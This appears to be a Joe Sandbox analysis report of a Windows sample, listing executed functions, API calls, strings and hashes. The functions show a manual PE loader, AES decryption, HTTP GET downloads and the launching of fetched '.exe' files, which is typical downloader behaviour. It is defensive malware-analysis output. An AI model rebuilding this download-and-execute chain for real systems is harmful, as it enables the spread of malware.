Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 8V0INSl0E2.exePID: 4192, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	19.2%
Signature Coverage:	11.8%
Total number of Nodes:	1089
Total number of Limit Nodes:	22

Executed Functions

Function 00402C70 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402C96
SetLastError.KERNEL32(000000C1), ref: 00402CD8

Strings

DOS header is not valid!, xrefs: 00402CC6
@, xrefs: 00402C8F
Size is not valid!, xrefs: 00402C9C
Section alignment invalid!, xrefs: 00402D5C
alignedImageSize != AlignValueUp!, xrefs: 00402DB9
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402D4A
DOS header size is not valid!, xrefs: 00402D09
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402D38
ERROR_OUTOFMEMORY!, xrefs: 00402DEF

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!
API String ID: 1452528299-393758929
Opcode ID: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction ID: 68209fb506ae9b68e90255ee0055c9910cae7d9580854ddc7816d62818b51dcc
Opcode Fuzzy Hash: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction Fuzzy Hash: 3E129C71B002159BDB14CF98D985BAEBBB5BF48304F14416AE809BB3C1D7B8ED41CB98

Function 004034C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,1432BE16), ref: 00403540
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403564
_mbstowcs.LIBCMT ref: 004035B7
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004035CE
GetLastError.KERNEL32 ref: 004035D8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 00403600
GetLastError.KERNEL32 ref: 0040360A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040361A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004036DC
CryptDestroyKey.ADVAPI32(?), ref: 0040374E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040351C

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction ID: 057eae88fc1e8b42dc2b0b13f8460ebd140b44a30a8541124d595f3772e2d34e
Opcode Fuzzy Hash: b9aca645bf8e0e24d310163d35795d59eee685dab11f25e4e54b3c0023d62c89
Instruction Fuzzy Hash: 4D8182B1A00218AFEF248F25CC45B9ABBB9EF45304F1081BAE50DE7291DB359E858F55

Function 00402950 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 004029F8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402A0D
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402A1B
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402A36
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402A55
LocalFree.KERNEL32(00000000), ref: 00402A62
LocalFree.KERNEL32(?), ref: 00402A67

Strings

%s: %s, xrefs: 00402A46
Error protecting memory page, xrefs: 00402A41

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction ID: 2da31f80489fd9465a3e1d2b594a5759e7c0520832ca97f04c55df17c8a78757
Opcode Fuzzy Hash: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction Fuzzy Hash: 0831F272B00114AFDB14DF58DC44FAAB7A8FF48304F0541AAE905EB291DA75AD12CA88

Function 00401880 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401905
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401924

Strings

text, xrefs: 00401B5C

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction ID: 86dcce6fdabdf1d76a3839b2d4c7acaf7fb3a9f1032210a7d38a4a94718e3fd4
Opcode Fuzzy Hash: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction Fuzzy Hash: 7AC16B71A002189FEB25CF24CD85BEAB7B9FF48304F1041ADE509A76A1DB75AE84CF54

Function 0040EF0D Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040EF0C,00000000,74DEDF80,?,00000000,?,004114AD), ref: 0040EF2F
TerminateProcess.KERNEL32(00000000,?,0040EF0C,00000000,74DEDF80,?,00000000,?,004114AD), ref: 0040EF36
ExitProcess.KERNEL32 ref: 0040EF48

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: d9b2d8b9480fbdfc0f40d30fbcce2ac7d268d3ffe56ae59340c1a79faed9bf6b
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 48E08C71400108BFCF117F26CC0898A3F28FB10341B004835F804AA232CB39DD92CB58

Function 00E1A3EE Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00E1A416
Module32First.KERNEL32(00000000,00000224), ref: 00E1A436

Memory Dump Source

Source File: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E19000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e19000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 53af42d33baee6364564526352a10d41bd4d62a2a154bb1434dc578fe7e92ca5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6CF0F6362013106BD7303BF4A88DBFE76E8AF48328F141139E652E14C0DBB0EC858A62

Function 00408020 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 0040805C
emp, xrefs: 00408037

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction ID: 72a2dd17e89226f8ccca0b0bb08db3f26db736a0bfe45ababc36bb360cb4900e
Opcode Fuzzy Hash: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction Fuzzy Hash: 7BF08CB160130457E710BF24ED1B71A3EA4970275CFA006ADDC601F2D2E7FB821A97EA

Function 004055C0 Relevance: 27.3, APIs: 5, Strings: 10, Instructions: 1092
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,?,756CD120), ref: 00405620
__Init_thread_footer.LIBCMT ref: 00405847
Sleep.KERNEL32(00000BB8,00000000,?,0042B77C,0042B92C,0042B92D,?,?,?,?,?,?,?,00000001,SUB=,00000004), ref: 00405A4A

Part of subcall function 00406550: __Init_thread_footer.LIBCMT ref: 004065B9

Part of subcall function 004065E0: __Init_thread_footer.LIBCMT ref: 0040663A

Part of subcall function 00407C30: __Init_thread_footer.LIBCMT ref: 00407C99

Part of subcall function 00407BB0: __Init_thread_footer.LIBCMT ref: 00407C09

Part of subcall function 00407B10: __Init_thread_footer.LIBCMT ref: 00407B8D

Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,?,004272E8,00000000,00000000,?,00000000,00000001,SUB=,00000004), ref: 004062DE
Sleep.KERNEL32(00000BB8,00000000,00000000,004272E8), ref: 004063DD

Part of subcall function 00407FA0: __Init_thread_footer.LIBCMT ref: 00407FF9

Part of subcall function 00407F20: __Init_thread_footer.LIBCMT ref: 00407F79

Part of subcall function 00407EC0: __Init_thread_footer.LIBCMT ref: 00407F11

Part of subcall function 004055C0: RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405493
Part of subcall function 004055C0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 004054B5
Part of subcall function 004055C0: RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 004054DD
Part of subcall function 004055C0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054E6

Strings

KDOX, xrefs: 00404541
mixone, xrefs: 00405ADF
^OX*, xrefs: 004046E8
viFO, xrefs: 00404537
Q)9, xrefs: 004056F8
]DFE, xrefs: 0040428D
SUB=, xrefs: 00405632
updateSW, xrefs: 004051E8
get, xrefs: 0040575C
DFEK, xrefs: 00404EDC

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: Init_thread_footer$Sleep$CloseCreateOpenValue
String ID: DFEK$KDOX$Q)9$SUB=$]DFE$^OX*$get$mixone$updateSW$viFO
API String ID: 2078494684-1136066708
Opcode ID: 3370340bea71cbf09f401ea1be89ae1aa616e8b686eb8a3d9626f30ac681365a
Instruction ID: f649a411d8851b1a91c0a488fce11130e3673d7bad0c40fe0d5f826dd2b8960c
Opcode Fuzzy Hash: 3370340bea71cbf09f401ea1be89ae1aa616e8b686eb8a3d9626f30ac681365a
Instruction Fuzzy Hash: 3F82AF71D001049ADB14FBB5C95ABEEB3789F14308F5081BEF412771D2EF786A49CAA9

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401740 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017B7
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017DD

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 004025A3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401803
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401829

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017E1
GET, xrefs: 00401F81
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401779
text, xrefs: 00401B5C
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401807
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017BB

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text
API String ID: 2146599340-3782612381
Opcode ID: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction ID: 9ba0ec624b0ce2a87a65cb7bdca14d25b7083be08071b54b776f69b68f7f070f
Opcode Fuzzy Hash: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction Fuzzy Hash: 34316171E00108EBDB14DFA9DC85FEEBBB9EB48714F60812AE121771C0C778A644CBA5

Function 04B5003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B5024D

Strings

cess, xrefs: 04B5018D
kernel32.dll, xrefs: 04B5008F, 04B50095

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 396920cd1cc17b7f9a719df89174d27e3b796f5da06276b071d7e00186d60338
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C6526A74A01229DFDB64DF58C985BACBBB1BF09304F1480D9E94DAB361DB30AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 00401DE0

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction ID: beb1f9afae3dc46702148b7d116b1b3e2c798cd3d3ea86b197954d74152ad0ce
Opcode Fuzzy Hash: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction Fuzzy Hash: F451C371E002099FDB14CFA8C885BEEBBB5EF48314F20812EE915B72C1D7799945CBA4

Function 009AC90D Relevance: 4.6, APIs: 3, Instructions: 139
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009ADB6C
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009ADB93
GetNativeSystemInfo.KERNEL32(?), ref: 009ADBEA

Memory Dump Source

Source File: 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a7000_8V0INSl0E2.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: d765ec18a362ff4e02c3907a3477c9db48b2921f6270067021389e087604119c
Instruction ID: 3a7f8a9bceaea5586cfd1acafa0dcc45fbbf3a5a1d57ce99c9bc9acd59101fb9
Opcode Fuzzy Hash: d765ec18a362ff4e02c3907a3477c9db48b2921f6270067021389e087604119c
Instruction Fuzzy Hash: 8F5182B110410EDFEB10EF64C9487EE7BE9EF55310F110929E982C7E40E6794CA4DB99

Function 009ACF0B Relevance: 4.6, APIs: 3, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009ADB6C
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009ADB93
GetNativeSystemInfo.KERNEL32(?), ref: 009ADBEA

Memory Dump Source

Source File: 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a7000_8V0INSl0E2.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 6267501590870e0966252e5fd1de0d7d275f2255f9db2d23341bf9c30450ed8a
Instruction ID: a7da8cd4718e10915c214b1cd0c3076d5f2b3873948aac723e43f06f0f08ca2a
Opcode Fuzzy Hash: 6267501590870e0966252e5fd1de0d7d275f2255f9db2d23341bf9c30450ed8a
Instruction Fuzzy Hash: A121377100514EAFEF21CF60C959BDF3BA9EF02315F000426E84286D52D7BA8CA8CF99

Function 004020C0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 004020F6
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402117
CloseHandle.KERNEL32(00000000), ref: 0040211E

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction ID: 54406537bc71ee86772d4e0f102f4040d02d69394e2def86726d8d124470bd26
Opcode Fuzzy Hash: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction Fuzzy Hash: 4401D671610204ABD720DF68DD49FEEB7A8EB48725F00053EFA45AA2D0DAB46945C758

Function 04B50E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B50223,?,?), ref: 04B50E19
SetErrorMode.KERNEL32(00000000,?,?,04B50223,?,?), ref: 04B50E1E

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4912d90d3747dd0a2895d6015fe2bffc848cfeb5036af8c0e2bdc930983e63eb
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512877D7003A94DC09BCDBB1CDF09B62F108451FB0DD9080C770954046E5

Function 00AB0BC5 Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AB0C0F

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000AB0000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab0000_8V0INSl0E2.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 327a0f331fdf952d18466cba042b15e43e43efd83f170382c903bda9615ae160
Instruction ID: 7df5a6eb0ef67aadc69b5bf9c321af66e90a16e6c05caa84de46fa78b1a2e59f
Opcode Fuzzy Hash: 327a0f331fdf952d18466cba042b15e43e43efd83f170382c903bda9615ae160
Instruction Fuzzy Hash: DAF022B610020A6FD702CEA48600EEF7B79FB9A330B308819F800D3D02C3B25C19AB24

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
